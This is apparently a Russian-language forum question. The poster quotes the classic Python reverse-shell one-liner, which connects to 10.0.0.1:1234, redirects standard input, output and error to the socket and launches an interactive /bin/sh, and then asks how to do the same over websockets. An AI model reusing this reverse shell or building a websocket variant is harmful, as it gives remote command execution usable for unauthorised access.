Я пытаюсь создать сервер в python, который может обрабатывать linux системный ввод-вывод.
Я хочу, чтобы он работал аналогично следующему:
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Приведенный выше код перенаправляет IN OUT и ERR через стандартный сокет, однако я хочу сделать что-то подобное через веб-сокеты.
Может ли кто-нибудь предложить лучший способ сделать это?